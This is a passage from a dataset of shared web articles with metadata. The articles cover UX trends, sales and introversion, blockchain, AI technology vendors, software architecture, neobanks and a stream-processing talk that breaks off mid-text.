para retirar informações importantíssimas para tomadas de decisão e gerar insumos para o time de UX e toda a equipe. Desenvolver pesquisas com ajuda das métricas e de resultados de testes A/B para embasar mais ainda as decisões e soluções de interface é de máxima importância, pois gera maior confiança ao time técnico, aos PMs e VPs. Toda vez que uma demanda chegar a você (seja você um UI, UX, AI, researcher), procure saber os números referente àquilo - métricas que fazem sentido ao seu projeto (audiência, conversão, taxa de abandono, etc). Muitas vezes sua empresa tem um time de ""audiência"", de ""métricas"", de ""data science"" e você nem sabe! USE-OS sempre que puder! Tenha do seu lado o poder de dados reais que seu usuário fornece e desenvolva as melhores soluções baseadas nisso e não em achismos. Faça a diferença! �� Quer saber mais? Clique aqui "". ""Como grande tendência de UX para 2017 eu vejo que finalmente nós UX Designers estamos percebendo que não se faz UX sozinho . Cada vez mais outras disciplinas se envolvem e contribuem com o planejamento da experiência do usuário, como Desenvolvedores, Designers de Interface, Gerentes de Produto e até mesmo especialistas em áreas bastante novas, como os Designers de Serviço. Em resumo, acredito que a grande tendência do ano é UX como time, como mindset, não como função de uma única pessoa"". ""2016 foi o ano dos dados e das métricas. Nesse novo ano, ao meu ponto de vista, estamos criando uma brecha para as ""legalzices"". Interações divertidas que preencham a sensação de humanizar produtos e serviços .​ Vejo as microinterações como uma tendência muito forte para os anos a seguir e algo a evoluir. Transformar questionários em uma simples e rápida conversa com o usuário. Criar o contexto de estar conversando com a interface de forma simples, humana e rápida​ traz satisfação ao preencher dados sem se pensar o quanto ainda falta informar ou quantos inputs ainda faltam preencher. Tive o prazer de experimentar uma destas interações com o beta do Warren e acredito que é algo que se tornará mais rotineiro. Métricas também são importantíssimas para mirar nas ações desejadas. É através destes dados que sabemos como nossos usuários estão se comportando e que tipos de clientes são​ . Entender e interagir com essas informações será cada vez mais necessário para focar nas melhorias mais assertivas ​. Se foi uma tendência de 2016, será ainda constante em 2017. Quanto a ferramentas, o Sketch mostrou como é mais simples trabalhar wireframe, layout e protótipo juntos. O Adobe XD também mostra que essa é uma tendência a ser seguida. É uma ferramenta que unifica todas as fases anteriores e ainda codifica, facilitando a criação e lançamento de produtos e implica em validações e testes mais cedo​ . No momento em que for possível obter dados de uso e métricas em uma mesma ferramenta, acho que teremos a solução definitiva"". ""Em 2017, mudanças climáticas e sustentabilidade do planeta serão parte de nossa cultura, tanto de maneira otimista, dado o crescimento da economia de energia solar e os aprofundamentos do Acordo de Paris, como pessimista, com a crise de refugiados, insurgência popular contra obras de energia fóssil, e os efeitos da violenta redução do gelo ártico. Como designers, temos a obrigação de entender o impacto de nossas criações quando as entregamos ao mundo e, por isso, além da pergunta "" quais problemas estamos resolvendo? "", durante a concepção de produtos, surgirá uma pergunta mais delicada: "" quais problemas estamos criando (no mundo, no meio-ambiente e no estilo de vida das pessoas)?"". Vejo uma tendência de problematização focada em sustentabilidade tanto no âmbito do desenvolvimento e implementação de soluções, com o reaproveitamento de código, bibliotecas e padrões, serviços de hospedagem que utilizem energia limpa/renovável, otimização de imagens e preocupação com performance, etc., quanto na mensagem que passamos aos nossos usuários, que poderá influenciar mudanças de comportamento para um futuro mais sustentável com base em diretrizes como reduzir , reusar , reparar , reciclar . Essa tendência é especialmente importante para quem desenvolve produtos que se relacionam com o ambiente físico, como é o caso da Internet das Coisas, que inundará o mercado com novos dispositivos que, além de usufruírem de recursos naturais, econômicos e sociais para serem produzidos, eventualmente precisarão de reparo e/ou descarte.."" ""É difícil falar sobre uma tendência para 2017 em uma área como a de UX sem observar o que vem acontecendo nos últimos anos. Na minha perspectiva, enxergo uma preparação maior dos designers com relação ao impacto do seu job nos resultados da empresa e/ou cliente​ . É o designer entendendo mais sobre planejamento e custo do projeto​ , além de medir o sucesso de uma entrega, não mais sob a ótica apenas do usuário, mas de negócio ​ também."" Resumindo Acompanhamento de métricas continua sendo uma das grandes tendências de UX, ainda que tenha tido muito espaço no ano de 2016. Mas agregar outros profissionais e desenvolver equipes multidisciplinares se mostra essencial para garantir a experiência perfeita para o usuário, onde entra também o customer success. Microinterações e chatbots são outros destaques superimportantes e essenciais para qualquer estratégia de UX. Estas e muitas outras tendências de UX foram citadas pelos especialistas. Para você, qual a maior tendência de UX Design para 2017? Comentários comentário(s) Administradora de Empresas por formação e estudante do MBA em Marketing da FGV. Apaixonada por Marketing Digital e em constante desenvolvimento.",pt
1485433083,CONTENT SHARED,-8392586470872505716,5660542693104786364,-537882753893230818,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.inc.com/geoffrey-james/first-90-days-the-surprising-reason-introverts-are-better-at-sales.html,Why Introverts Are Better at Sales Than Extroverts,"The stereotype of a successful salesperson is an extrovert who sells anything to anybody. He (or, less commonly, she) charms customers so thoroughly that they sign on the dotted line before they know what hit them. Customers, however, don't find extroverted salespeople charming. On the contrary, most customers tune out the moment a seller looks or sounds like the stereotype. The dislike and distrust of salespeople is nothing new; the fast-talking, backslapping salesman was a stock villain for nearly 100 years. (See: Gantry, Elmer.) Customers hate being cajoled or manipulated into buying something they don't want. As the old saying goes, ""Everybody likes to buy, but nobody likes to be sold to."" The near-universal dislike of stereotypical salespeople stems directly from the traditional definition of selling: Intruding (to get your foot in the door) Pitching (to persuade the customer to buy) Persisting (to push until you make the sale) Effective selling is quite different. It consists of: Research (to understand the customer) Listening (to understand individual needs) Reacting (to adapt to the identified needs) Research requires time spent alone on the Web, reading and analyzing information. Listening means being patient and quiet while remaining open to new ideas and perspectives. Reacting is all about letting the other person set the pace and the agenda. These are all classic introverted behaviors that are difficult for extroverts to do well. Why, then, do companies continue to employ and deploy extroverts rather than introverts in sales roles? The answer is that such companies don't understand how technology is changing the sales process. Back in the day, salespeople needed to be extroverts, because most new sales opportunities evolved from cold calling , originally in person, but later by telephone. Extroverts tend to be good at cold calling and telemarketing, because they thrive on social interaction and tend to have thick skins and therefore the ability to cope with rejection. Technology, however, has made cold calling ineffective. What with voice mail, call blocking, caller ID, no-call lists, it's become nearly impossible to get a decision maker on the phone without an appointment. (Note to chief sales officers: When your customers spend billions of dollars on technology to prevent your salespeople from interrupting them, take the damn hint.) The collapse of cold calling as a lead-generation mechanism is the reason inbound or email marketing is so popular, BTW. A savvy email can easily engage a decision maker online and segue into a phone call, especially when that decision maker has already indicated interest. Inbound or email marketing, however, demands an ability to research a customer, see the world from the customer's perspective, and adapt to the customer's situation and specific response--all skills that come easier to introverts than extroverts. Now that technology has made cold calling obsolete, there's no longer much reason for salespeople to be extroverts. Or as one might say in sales lingo: ""We don't need hunters, just farmers.""",en
1485436905,CONTENT SHARED,8424505741986577894,-48161796606086482,8116865795629544599,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/4-blockchain-macro-trends-where-place-your-bets-simon-taylor-,4 Blockchain Macro Trends: Where to Place Your Bets,"Published on Simon Taylor Follow Following Unfollow Simon Taylor Sign in to follow this author Co-Founder / Director of Blockchain at 11:FS 2016 was a rollercoaster year for those of us following blockchain and distributed ledger tech. Whether it was bitcoin pushing toward $1,000 , a consortium of banks open-sourcing software with R3's Corda , or government and central banks supporting blockchain experimentations, you can't deny the subject has been everywhere. While some have grown tired of the endless press releases and bickering about ledger designs, in the background, real progress is being made, and major organizations are already placing their bets. In 2017, I'm watching for maturity in the active projects both from startups and blockchain communities, as well as the incumbent financial services companies. Evolution and revolution are necessary, and I believe we can learn from both. But, if you're new to this space, it may not be obvious where you should invest your time or resources. To help you make those decisions, I've identified four macro-trends I see happening in 2017. 1. Revenue becomes the big question ""Where is the end product?"" My projection is, this will be a common question this year as executives and mainstream media look but fail to see the traction being made. But for the first time, 2017 might see it answered as the launch of the first real distributed ledger products go live, likely with a focus on gold trading. Right when you think you don't have to do anything, real-world, scalable financial products hit the financial markets. So while the 'end product' question will emerge (and go away), others will debut. As 2017 is unlikely to be the year DLT scales for corporates, many will begin to ask, 'Where's the revenue?' The business cases are out there, they're just not obvious from 30,000 ft. 2. The beginning of 'new businesses' While everyone is obsessed with who's in what consortium, what's more interesting is what systems people are building and what that will mean. We're seeing the beginnings of real structural change in financial markets. If you imagine financial markets today as being 100% centralized, with bitcoin being 100% decentralized, then financial markets are taking baby steps away from centralised power. Over time, any shift in the first number is significant. My guess is that as banks talk more about ""smart contracts"" and DLT instead of ""blockchain."" The market will recognize that these corporate things are neither shared databases nor blockchains, but some new interesting thing. For now, this has been given the label ""DLT,"" but likely needs a more accurate one. Yet, in financial markets, where new asset classes or financial agreements become revenue opportunities for banks and financial market participants, a new narrative must emerge. One that moves away from ""cost and efficiency"" only. In 2017, I'm watching for maturity in the active projects both from startups and blockchain communities, as well as the incumbent financial services companies. Evolution and revolution are necessary, and I believe we can learn from both. 3. Bitcoin goes enterprise I've long been an advocate of mainstreaming bitcoin and (outside of rising interest in DLT) I predict mainstream attitudes are starting to change about bitcoin. Companies like PwC, Deloitte and others are making major plays in bitcoin and ethereum, and companies like Bloq and Blockstream have started to resemble the early days of Linux enterprise companies, making open-source ""wild"" software tame and consumable for large corporates. In this environment, institutional investors may start to leverage bitcoin's infrastructure and even go deeper into bitcoin investing. Given that the line between the bitcoin world and the banking world could start blurring (as new business models emerge beyond payments and remittances, and wallets are released) this seems even more likely to occur. It will be very small at first, but projects like t0 are the types of things we may look back on in 25 years as a watershed moment. 4. Experimentation will continue The current experimentation environment is super interesting to watch, and new business models will emerge. However, there will be failures, as well. We might have one, maybe two, smaller DAO -like failures in the public blockchain space. As we go through this learning and experimentation, a more useable, more robust framework for token or smart contract-based businesses compatible with local laws will start to emerge. There is no good reason why you couldn't build a business this way now, it's just much harder than a bog-standard token sale. There has been some good legal advice on how to do token sales well, but the idea that these ""products"" should be pre-sold to fund these efforts needs rethinking. My guess is we'll begin to see more creativity beyond the ICO as we know it today. This post first appeared in the CoinDesk 2016 in Review special feature. Revenue image via Shutterstock --------------------------------------------------------------------------------------------------------- About the Author Simon Taylor Co Founder and Director of Blockchain and FinTech Simon is the Director of Blockchain and Payments as well as a Co Founder at 11:FS. Blockchain, Distributed Ledgers and Smart Contracts are hotter than the sun right now and Simon knows more about these topics than nearly anyone on the planet. Simon has helped startups flourish, through Barclays Tech Stars accelerator, as well as establishing Barclays as one of the leaders in Blockchain thinking and doing. Reach out at simon@11fs.co.uk Co-Founder / Director of Blockchain at 11:FS",en
1485438255,CONTENT SHARED,-5257244885628286303,-3458422503840091409,9153000982712308825,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.forbes.com/sites/gilpress/2017/01/23/top-10-hot-artificial-intelligence-ai-technologies/,Top 10 Hot Artificial Intelligence (AI) Technologies,"The market for artificial intelligence (AI) technologies is flourishing. Beyond the hype and the heightened media attention, the numerous startups and the internet giants racing to acquire them, there is a significant increase in investment and adoption by enterprises. A Narrative Science survey found last year that 38% of enterprises are already using AI, growing to 62% by 2018. Forrester Research predicted a greater than 300% increase in investment in artificial intelligence in 2017 compared with 2016. IDC estimated that the AI market will grow from $8 billion in 2016 to more than $47 billion in 2020. Coined in 1955 to describe a new computer science sub-discipline, ""Artificial Intelligence"" today includes a variety of technologies and tools, some time-tested, others relatively new. To help make sense of what's hot and what's not, Forrester just published a TechRadar report on Artificial Intelligence (for application development professionals), a detailed analysis of 13 technologies enterprises should consider adopting to support human decision-making. Based on Forrester's analysis, here's my list of the 10 hottest AI technologies: Natural Language Generation : Producing text from computer data. Currently used in customer service, report generation, and summarizing business intelligence insights. Sample vendors: Attivio, Automated Insights, Cambridge Semantics, Digital Reasoning, Lucidworks, Narrative Science, SAS. Speech Recognition : Transcribe and transform human speech into format useful for computer applications. Currently used in interactive voice response systems and mobile applications. Sample vendors: NICE, Nuance Communications, OpenText, Verint Systems. Virtual Agents : ""The current darling of the media,"" says Forrester (I believe they refer to my evolving relationships with Alexa), from simple chatbots to advanced systems that can network with humans. Currently used in customer service and support and as a smart home manager. Sample vendors: Amazon, Apple, Artificial Solutions, Assist AI, Creative Virtual, Google, IBM, IPsoft, Microsoft, Satisfi. Machine Learning Platforms : Providing algorithms, APIs, development and training toolkits, data, as well as computing power to design, train, and deploy models into applications, processes, and other machines. Currently used in a wide range of enterprise applications, mostly `involving prediction or classification. Sample vendors: Amazon, Fractal Analytics, Google, H2O.ai, Microsoft, SAS, Skytree. AI-optimized Hardware : Graphics processing units (GPU) and appliances specifically designed and architected to efficiently run AI-oriented computational jobs. Currently primarily making a difference in deep learning applications. Sample vendors: Alluviate, Cray, Google, IBM, Intel, Nvidia. Decision Management : Engines that insert rules and logic into AI systems and used for initial setup/training and ongoing maintenance and tuning. A mature technology, it is used in a wide variety of enterprise applications, assisting in or performing automated decision-making. Sample vendors: Advanced Systems Concepts, Informatica, Maana, Pegasystems, UiPath. Deep Learning Platforms : A special type of machine learning consisting of artificial neural networks with multiple abstraction layers. Currently primarily used in pattern recognition and classification applications supported by very large data sets. Sample vendors: Deep Instinct, Ersatz Labs, Fluid AI, MathWorks, Peltarion, Saffron Technology, Sentient Technologies. Biometrics : Enable more natural interactions between humans and machines, including but not limited to image and touch recognition, speech, and body language. Currently used primarily in market research. Sample vendors: 3VR, Affectiva, Agnitio, FaceFirst, Sensory, Synqera, Tahzoo. Robotic Process Automation : Using scripts and other methods to automate human action to support efficient business processes. Currently used where it's too expensive or inefficient for humans to execute a task or a process. Sample vendors: Advanced Systems Concepts, Automation Anywhere, Blue Prism, UiPath, WorkFusion. Text Analytics and NLP : Natural language processing (NLP) uses and supports text analytics by facilitating the understanding of sentence structure and meaning, sentiment, and intent through statistical and machine learning methods. Currently used in fraud detection and security, a wide range of automated assistants, and applications for mining unstructured data. Sample vendors: Basis Technology, Coveo, Expert System, Indico, Knime, Lexalytics, Linguamatics, Mindbreeze, Sinequa, Stratifyd, Synapsify. There are certainly many business benefits gained from AI technologies today, but according to a survey Forrester conducted last year, there are also obstacles to AI adoption as expressed by companies with no plans of investing in AI: There is no defined business case 42% Not clear what AI can be used for 39% Don't have the required skills 33% Need first to invest in modernizing data mgt platform 29% Don't have the budget 23% Not certain what is needed for implementing an AI system 19% AI systems are not proven 14% Do not have the right processes or governance 13% AI is a lot of hype with little substance 11% Don't own or have access to the required data 8% Not sure what AI means 3% Once enterprises overcome these obstacles, Forrester concludes, they stand to gain from AI driving accelerated transformation in customer-facing applications and developing an interconnected web of enterprise intelligence. Follow me on Twitter @GilPress or Facebook or Google+",en
1485451418,CONTENT SHARED,-9033346036688923648,6756039155228175109,-335767905335767867,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.oreilly.com/programming/free/software-architecture-patterns.csp,Software Architecture Patterns,"Get the Free Ebook The success of any application or system depends on the architecture pattern you use. By describing the overall characteristics of the architecture, these patterns not only guide designers and developers on how to design components, but also determine the ways in which those components should interact. This O'Reilly report takes a deep dive into many common software architecture patterns. Each pattern includes a full explanation of how it works, explains the pattern's benefits and considerations, and describes the circumstances and conditions it was designed to address. The report also includes an analysis and scorecard for each pattern based on several architecture and software development quality attributes. Patterns include: Layered architecture Event-driven architecture Microkernel architecture Microservices architecture Space-based architecture In addition to these specific patterns, you'll also learn about the Architecture by Implication anti-pattern and the causes and effects of not using architecture patterns. Mark Richards Mark Richards is an experienced hands-on software architect involved in the architecture, design, and implementation of Microservices Architectures, Service Oriented Architectures, and distributed systems in J2EE and other technologies. He has been involved in the software industry since 1983, and has significant experience and expertise in application, integration, and enterprise architecture. Mark served as the President of the New England Java Users Group from 1999 thru 2003. He is the author of numerous technical books and videos, including ""Software Architecture Fundamentals"" (O'Reilly video), ""Enterprise Messaging"" (O'Reilly video), ""Java Message Service 2nd Edition"" (O'Reilly), and 97 Thinks Every Software Architect Should Know (O'Reilly). Mark has a masters degree in computer science and numerous architect and developer certifications from IBM, Sun, The Open Group, and BEA. He is a regular conference speaker at the No Fluff Just Stuff (NFJS) Symposium Series, and has spoken at over 100 conferences and user groups around the world on a variety of enterprise-related technical topics.When he is not working Mark can usually be found hiking in the White Mountains or along the Appalachian Trail.",en
1485452130,CONTENT SHARED,6844164348224220577,5660542693104786364,-537882753893230818,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://techfoliance.com/mapping-the-global-neobank-landscape/,Mapping the Global NeoBank Landscape - Techfoliance,"'Neobank' is for sure among the Top 5 of the barbarian words that constitute the Fintech sector, along with Blockchain, Robo-advisors and others. But what is exactly a NeoBank? Who are the so called Neobanks? Let's be honest, the term 'Neobank' is confusing and now describes most companies that add a digital offer (light or sophisticated) to basic banking products and services, regardless of the banking licence. According to BBVA, there are two main groups of NeoBanks : ""There are the companies that have no banking licence and only offer the customer a relationship-side service, either using a traditional bank for processing transactions or in a partnership model. [...] Such companies focus the value they can offer on a better user experience [...]. On the other hand, the second model involves those who seek to become all-in, one-stop-shop banks from the outset, but without branch-based distribution channels and set up as mobile banks. [...] banks of this kind must obtain banking licences, which in most countries is a complex process and financially costly. To give you a broader overview of what is being developed in the sector, Techfoliance is introducing you its list of the major neo-banks, digital-only banks and/or mobile-only banks in the world: Neo-banks Landscape Since it is the first update of our project ""mapping the global neobanks landscape"", we invite you to add more names to complete our existing list in the comments below: Last update: 19 January 2017 logo Name Description Country 12 Final Introducing Final. A credit card built for the 21st century. United States 42 Soldo Soldo is The Family Spending Account. Secure financial autonomy for everyone who matters. Italia 48 WeBank WeBank is the online and mobile bank powered by the chinese company Tencent. China",en
1485455396,CONTENT SHARED,6075137928366965854,6756039155228175109,-335767905335767867,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.confluent.io/blog/making-sense-of-stream-processing/,"Stream processing, Event sourcing, Reactive, CEP... and making sense of it all - Confluent","Some people call it stream processing. Others call it Event Sourcing or CQRS. Some even call it Complex Event Processing. Sometimes, such self-important buzzwords are just smoke and mirrors, invented by companies who want to sell you stuff. But sometimes, they contain a kernel of wisdom which can really help us design better systems. In this talk, we will go in search of the wisdom behind the buzzwords. We will discuss how event streams can help make your application more scalable, more reliable and more maintainable. Founded in the experience of building large-scale data systems at LinkedIn, and implemented in open source projects like Apache Kafka and Apache Samza, stream processing is finally coming of age. This is an edited transcript of a talk I gave at /dev/winter 2015 . In this presentation, I'm going to discuss some of the ideas that people have about processing event streams. The idea of structuring data as a stream of events is nothing new, but I've recently noticed this idea reappearing in many different places, often with different terminology and different use cases, but with the same underlying principles. The problem when a technique becomes fashionable is that people start generating a lot of hype and buzzwords around it, often reinventing ideas that are already commonplace in a different field, but using different words to describe the same thing. In this talk I'm going to try to cut through some of the hype and jargon in the general area of stream processing, and try to get down to the underlying fundamental ideas. Although the jargon can be off-putting when you first encounter it, there's no need to be scared. A lot of the ideas are quite simple when you get down to the core. Also, there are a lot of good ideas which are worth learning about, because they can help us build applications better. The notion of processing events appears in many different areas, which is really confusing at first. People in different fields use different vocabulary to refer to the same thing. I think this is mainly because the techniques originated in different communities of people, and people seem to often stick within their own community and not look at what their neighbours are doing. The current tools for distributed stream processing have come out of internet companies like LinkedIn, with philosophical roots in database research of the early 2000s. On the other hand, complex event processing (CEP) originated in event simulation research in the 1990s and is now used for operational purposes in enterprises. Event sourcing has its roots in the domain-driven design community, which deals with enterprise software development - people who have to work with very complex data models, but often smaller datasets than the internet companies. My background is in internet companies, but I'm doing my best to understand the jargon of the other communities, and figure out the commonalities and differences. If I've misunderstood something, please correct me. To make this concrete, I'm going to start by giving an example from the field of stream processing, specifically analytics. I'll then draw parallels with other areas. To start with, take something like Google Analytics. As you probably know, Google Analytics is a bit of Javascript that you can put on your website, and that keeps track of which pages have been viewed by which visitors. An administrator can then explore this data, breaking it down by time period, or by URL, and so on. How would you implement something like Google Analytics? First take the input to the system. Every time a user views a page, we need to log an event to record that fact. A page view event may look something like this (using a kind of pseudo-JSON): A page view has an event type (PageViewEvent), a Unix timestamp that indicates when the event happened, the IP address of the client, the session ID (this may be a unique identifier from a cookie, which allows you to figure out what series of page views is from the same person), the URL of the page that was viewed, how the user got to that page (for example, from a search engine, or clicking a link from another site), the user's browser and language settings, and so on. Note that each page view event is a simple, immutable fact. It simply records that something happened. Now, how do you go from these page view events to the nice graphical dashboard on which you can explore how people are using your website? Broadly speaking, you have two options. Option (a): you can simply store every single event as it comes in, dump them all in a big database, a data warehouse or a Hadoop cluster. Now, whenever you want to analyze this data in some way, you run a big SELECT query against this dataset. For example, you might group by URL and by time period, you might filter by some condition, and then COUNT(*) to get the number of page views for each URL over time. This will scan over essentially all the events, or at least some large subset, and do the aggregation on the fly. Option (b): if storing every single event is too much for you, you can instead store an aggregated summary of the events. For example, if you're counting things, you increment a few counters every time an event comes in, and then you throw away the actual event. You might keep several counters in something that's called an OLAP cube : imagine a multi-dimensional cube, where one dimension is the URL, another dimension is the time of the event, another dimension is the browser, and so on. For each event, you just need to increment the counters for that particular URL, that particular time, etc. With an OLAP cube, when you want to find the number of page views for a particular URL on a particular day, you just need to read the counter for that combination of URL and date. You don't have to scan over a long list of events; it's just a matter of reading a single value. Now option (a) may sound a bit crazy, but it actually works surprisingly well. I believe Google Analytics actually does store the raw events, or at least a large sample of events, and performs a big scan over those events when you look at the data. Modern analytic databases have become really good at scanning quickly over large amounts of data. The big advantage of storing raw event data is that you have maximum flexibility for analysis. For example, you can trace the sequence of pages that one person visited over the course of their session. You can't do that if you've squashed all the events into counters. That sort of analysis is really important for some offline processing tasks, such as training a recommender system (""people who bought X also bought Y"", that sort of thing). For such use cases, it's best to simply keep all the raw events, so that you can later feed them all into your shiny new machine learning system. However, option (b) also has its uses, especially when you need to make decisions or react to things in real time. For example, if you want to prevent people from scraping your website, you can introduce a rate limit, so that you only allow 100 requests per hour from any particular IP address; if a client goes over the limit, you block it. Implementing that with raw event storage would be incredibly inefficient, because you'd be continually re-scanning your history of events to determine whether someone has gone over the limit. It's much more efficient to just keep a counter of number of page views per IP address per time window, and then you can check on every request whether that number has crossed your threshold. Similarly, for alerting purposes, you need to respond quickly to what the events are telling you. For stock market trading, you also need to be quick. The bottom line here is that raw event storage and aggregated summaries of events are both very useful. They just have different use cases. Let's focus on those aggregated summaries for now. How do you implement those? Well, in the simplest case, you simply have the web server update the aggregates directly. Say you want to count page views per IP address per hour, for rate limiting purposes. You can keep those counters in something like memcached or Redis, which have an atomic increment operation. Every time a web server processes a request, it directly sends an increment command to the store, with a key that is constructed from the client IP address and the current time (truncated to the nearest hour). If you want to get a bit more sophisticated, you can introduce an event stream, or a message queue, or an event log, or whatever you want to call it. The messages on that stream are the PageViewEvent records that we saw earlier: one message contains the properties of one particular page view. The nice thing about this architecture is that you can now have multiple consumers for the same event data. You can have one consumer which simply archives the raw events to some big storage; even if you don't yet have the capability to process the raw events, you might as well store them, since storage is cheap and you can use them in future. Then you can have another consumer which does some aggregation (for example, incrementing counters), and another consumer which does something else. Those can all feed off the same event stream. Let's now change topic for a moment, and look at similar ideas from a different field. Event sourcing is an idea that has come out of the domain-driven design community - it seems to be fairly well known amongst enterprise software developers, but it's totally unknown in internet companies. It comes with a large amount of jargon that I find very confusing, but there seem to be some very good ideas in event sourcing. So I'm going to try to extract those good ideas without going into all the jargon, and we'll see that there are some surprising parallels with my last example from the field of stream processing analytics. Event sourcing is concerned with how we structure data in databases. As example database I'm going to use a shopping cart from an e-commerce website. Each customer may have some number of different products in their cart at one time, and for each item in the cart there is a quantity. Nothing very complicated here. Now say that customer 123 updates their cart: instead of quantity 1 of product 999, they now want quantity 3 of that product. You can imagine this being recorded in the database using an UPDATE query, which matches the row for customer 123 and product 999, and modifies that row, changing the quantity from 1 to 3. This example uses a relational data model, but that doesn't really matter. With most non-relational databases you'd do more or less the same thing: overwrite the old value with the new value when it changes. However, event sourcing says that this isn't a good way to design databases. Instead, we should individually record every change that happens to the database. For example, we first record an AddToCart event when customer 123 first adds product 888 to their cart, with quantity 1. We then record a separate UpdateCartQuantity event when they change the quantity to 3. Later, the customer changes their mind again, and reduces the quantity to 2, and finally they go to the checkout. Each of these actions is recorded as a separate event, and appended to the database. You can imagine having a timestamp on every event too. When you structure the data like this, every change to the shopping cart is an immutable event - a fact. Even if the customer did change the quantity to 2, it is still true that at a previous point in time, the selected quantity was 3. If you overwrite data in your database, you lose this historic information. Keeping the list of all changes as a log of immutable events thus gives you strictly richer information than if you overwrite things in the database. And this is really the essence of event sourcing: rather than performing destructive state mutation on a database when writing to it, we should record every write as a ""command"", as an immutable event. And that brings us back to our stream processing example (Google Analytics). Remember we discussed two options for storing data: (a) raw events, or (b) aggregated summaries. What we have here with event sourcing is looking very similar. You can think of those event-sourced commands (AddToCart, UpdateCartQuantity) as raw events: they comprise the history of what happened over time. But when you're looking at the contents of your shopping cart, you see the its current state - the end result, which is what you get when you have applied the entire history of events and squashed them together into one thing. So the current state of the cart may say quantity 2. The history of raw events will tell you that at some previous point in time the quantity was 3, but that the customer later changed their mind and updated it to 2. The aggregated end result only tells you that the current quantity is 2. Thinking about it further, you can observe that the raw events are the form in which it's ideal to write the data: all the information in the database write is contained in a single blob. You don't need to go and update five different tables if you're storing raw events - you only need to append the event to the end of a log. That's the simplest and fastest possible way of writing to a database. On the other hand, the aggregated data is the form in which it's ideal to read data from the database. If a customer is looking at the contents of their shopping cart, they are not interested in the entire history of modifications that led to the current state - they only want to know what's in the cart right now. So when you're reading, you can get the best performance if the history of changes has already been squashed together into a single object representing the current state. Going even further, think about the user interfaces that lead to database writes and database reads. A database write typically happened because the user clicked some button: for example, they edited some data, and now they click the save button. So, buttons in the user interface correspond to raw events in the event sourcing history. On the other hand, a database read typically happens because the user views some screen: they click on some link or open some document, and now they need to read the contents. These reads typically want to know the current state of the database. So screens in the user interface correspond to aggregated state. This is quite an abstract idea, so let me go through a few examples. Take Twitter, for example. The most common way of writing to Twitter's database - i.e. to provide input into the Twitter system - is to tweet something. A tweet is very simple: it consists of some text, a timestamp, and the ID of the user who tweeted. (Perhaps optionally a location, or a photo, or something.) The user then clicks that ""Tweet"" button, which causes a database write to happen, i.e. an event is generated. On the output side, the way how you read from Twitter's database is by viewing your timeline. It shows all the stuff that was written by people you follow. It's a vastly more complicated structure: For each tweet, you now have not just the text, timestamp and user ID, but also the name of the user, their profile photo, and other information that has been joined with the tweet. Also, the list of tweets has been selected based on the people you follow, which may itself change. How would you go from the simple input to the more complex output? Well, you could try expressing it in SQL, something like this: That is, find all of the users who $user is following, find all the tweets that they have written, order them by time and pick the 100 most recent. Turns out this query really doesn't scale very well. Do you remember in the early days of Twitter, when they kept having the fail whale all the time? Apparently that was essentially because they were using something like the query above. When a user views their timeline, it's too expensive to iterate over all the people they are following to get those users' tweets. Instead, Twitter must compute a user's timeline ahead of time, and cache it, so that it's fast when a user looks at it. To do that, they need a process that translates from the write-optimized event (a single tweet) to the read-optimized aggregate (a timeline). Twitter has such a process, and calls it the fanout service . Another example: take Facebook. It has many buttons that enable you to write something to Facebook's database, but a classic one is the ""Like"" button. When you click it, that generates an event, a fact with a very simple structure: you (identified by your user ID) like (an action verb) some item (identified by its ID). However, if you look at the output side, reading something on Facebook, it's incredibly complicated. In this example we have a Facebook post which is not just some text, but also the name of the author and his profile photo; and it's telling me that 160,216 people like this update, of which three have been especially highlighted (presumably because Facebook thinks that amongst the likers of this update, these are the ones I am most likely to know); it's telling me that there are 6,027 shares and 12,851 comments, of which the top 4 comments are shown (clearly some kind of comment ranking is happening here); and so on. There must be some translation process happening here, which takes the very simple events as input, and produces the massively complex and personalized output structure. You can't even conceive what the database query would look like to fetch all the information in that Facebook update. There is no way they could efficiently query all of that on the fly, not with over 100,000 likes. Clever caching is absolutely essential if you want to build something like this. From the Twitter and Facebook examples we can see a certain pattern: the input events, corresponding to the buttons in the user interface, are quite simple. They are immutable facts, we can simply store them all, and we can treat them as the source of truth . Everything that you can see on a website, i.e. everything that you read from the database, can be derived from those raw events. There is a process which derives those aggregates from the raw events, and which updates the caches when new events come in, and that process is entirely deterministic. You could, if necessary, re-run it from scratch: if you feed in the entire history of everything that ever happened on the site, you can reconstruct every cache entry to be exactly as it was before. The database you read from is just a cached view of the event log . The beautiful thing about this separation between source of truth and caches is that in your caches, you can denormalize data to your heart's content. In regular databases, it is often considered best practice to normalize data, because if something changes, you then only have to change it one place. Normalization makes writes fast and simple, but means you have to do more work (joins) at read time. In order to speed up reads, you can denormalize data, i.e. duplicate information in various places so that it can be read faster. The problem is now that if the original data changes, all the places where you copied it to also need to change. In a typical database, that's a nightmare, because you may not know all the places where something has been copied. But if your caches are built from your raw events using a repeatable process, you have much more freedom to denormalize, because you know what data is flowing where. Another example: Wikipedia. This is almost a counter-example to Twitter and Facebook, because on Wikipedia the input and the output are almost the same. When you edit a page on Wikipedia, you get a big text field containing the entire page content (using wiki markup), and when you click the save button, it sends that entire page content back to the server. The server replaces the entire page with whatever you posted to it. When someone views the page, it returns that same content back to the user (formatted into HTML). So, in this case, the input and the output are the same. What would event sourcing mean in this case? Would it perhaps make sense to represent a write event as a diff, like a patch file, rather than a copy of the entire page? It's an interesting case to think about. (Google Docs works by continually applying diffs at a character granularity - effectively an event per keystroke.) Final example: LinkedIn. Say you update your LinkedIn profile, and add your current job, which consists of a job title, a company, and some text. Again, the edit event for writing to the database is very simple. There are various ways how you can read this data, and in this example, let's look at the search feature. On the output side, one way you can read LinkedIn's database is by typing some keywords and maybe a company name into a search box, and find all 